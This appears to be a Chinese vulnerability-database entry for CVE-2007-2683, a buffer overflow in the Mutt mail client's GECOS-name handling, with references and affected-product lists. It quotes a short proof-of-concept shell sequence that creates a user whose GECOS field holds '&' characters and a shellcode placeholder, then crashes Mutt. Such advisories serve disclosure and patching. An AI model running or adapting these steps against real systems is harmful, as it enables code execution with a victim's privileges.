Mutt Mutt_Gecos_Name函数本地溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113041 漏洞类型 缓冲区溢出
发布时间 2007-05-28 更新时间 2007-08-10
CVE编号 CVE-2007-2683 CNNVD-ID CNNVD-200705-307
漏洞平台 Linux CVSS评分 3.5
|漏洞来源
https://www.exploit-db.com/exploits/30093
https://www.securityfocus.com/bid/24192
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-307
|漏洞详情
Mutt是一个小型但功能强大的基于文本的MIME邮件客户端。Mutt在处理畸形格式的数据时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。Mutt的mutt_gecos_name()函数在处理GECOS字段中的&字符时存在缓冲区溢出漏洞,在试图扩展真实名称GECOS字段中的&字符时真实名称字符串的长度加上登录名称的长度可能大于256个字符,这就可能触发缓冲区溢出,导致执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)
|受影响的产品
Trustix Secure Linux 3.0.5 Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 SGI ProPack 3.0 SP6 rPath rPath Linux 1 Redhat Enterprise Linux WS 4 Redhat
|参考资料

来源:bugzilla.redhat.com
链接:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=239890
来源:SECTRACK
名称:1018066
链接:http://www.securitytracker.com/id?1018066
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1391
来源:XF
名称:mutt-gecos-bo(34441)
链接:http://xforce.iss.net/xforce/xfdb/34441
来源:TRUSTIX
名称:2007-0024
链接:http://www.trustix.org/errata/2007/0024/
来源:BID
名称:24192
链接:http://www.securityfocus.com/bid/24192
来源:REDHAT
名称:RHSA-2007:0386
链接:http://www.redhat.com/support/errata/RHSA-2007-0386.html
来源:MANDRIVA
名称:MDKSA-2007:113
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2007:113
来源:SECUNIA
名称:26415
链接:http://secunia.com/advisories/26415
来源:SECUNIA
名称:25546
链接:http://secunia.com/advisories/25546
来源:SECUNIA
名称:25529
链接:http://secunia.com/advisories/25529
来源:SECUNIA
名称:25515
链接:http://secunia.com/advisories/25515
来源:SECUNIA
名称:25408
链接:http://secunia.com/advisories/25408
来源:MISC
链接:http://dev.mutt.org/trac/ticket/2885
来源:NSFOCUS
名称:10403
链接:http://www.nsfocus.net/vulndb/1